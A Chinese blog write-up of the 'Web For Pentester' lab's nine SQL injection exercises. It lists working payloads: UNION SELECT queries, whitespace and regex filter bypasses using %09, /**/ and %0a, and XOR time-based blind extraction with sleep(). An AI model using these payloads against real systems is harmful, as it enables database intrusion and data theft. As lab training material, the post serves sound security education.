前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Web For Pentester - SQLi Part Tips

Web For Pentester - SQLi Part Tips

作者头像
风流
发布2019-12-11 10:47:10
2780
发布2019-12-11 10:47:10
举报
文章被收录于专栏:Urahara BlogUrahara Blog

SQLi Example 1

最基础的字符型注入,无任何过滤

name=root’ and ‘1’=’1

SQLi Example 2

过滤了空格,语句中若出现空格就会报错

  • 水平制表(HT) url编码:%09
  • 注释绕过空格   /*注释*/

name=root’%09and%09’1’=’1

name=root’/**/union/**/select/**/1,2,3,4,5%23

SQLi Example 3

name=root’/**/union/**/select/**/1,2,3,4,5%23

SQLi Example 4

最基础的数值型注入,过滤了单引号

id=2%20and%201=2

SQLi Example 5

代码语言:javascript
复制
//代码片段
if (!preg_match('/^[0-9]+/', $_GET["id"])) {
    die("ERROR INTEGER REQUIRED");  
}

可以看出这里参数id必须以数字开头

id=1/0 UNION SELECT 1,user(),3,4,5

SQLi Example 6

代码语言:javascript
复制
//代码片段
if (!preg_match('/[0-9]+$/', $_GET["id"])) {
    die("ERROR INTEGER REQUIRED");  
}

可以看出这里参数id必须以数字结尾

id=1 and 1=1%23123

SQLi Example 7

代码语言:javascript
复制
//代码片段
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
  die("ERROR INTEGER REQUIRED");    
}

这里使用了PCRE_MULTLINE(/m),也就是说任意换行符之前或之后都必须是数字,那么就可以构造如下payload

id=1%0a and 1=1

SQLi Example 8

使用XOR逻辑加时间盲注进行猜解

order=name` xor if(ascii(substring(user(),1,1))=111,sleep(5),0)%23

SQLi Example 9

这里过滤了“`”,可以使用XOR让第一个语句报错,第二个语句正确,页面显示正常 order=1 xor if(ascii(substring(user(),1,1))=112,sleep(5),0)%23

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • SQLi Example 1
  • SQLi Example 2
  • SQLi Example 3
  • SQLi Example 4
  • SQLi Example 5
  • SQLi Example 6
  • SQLi Example 7
  • SQLi Example 8
  • SQLi Example 9
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档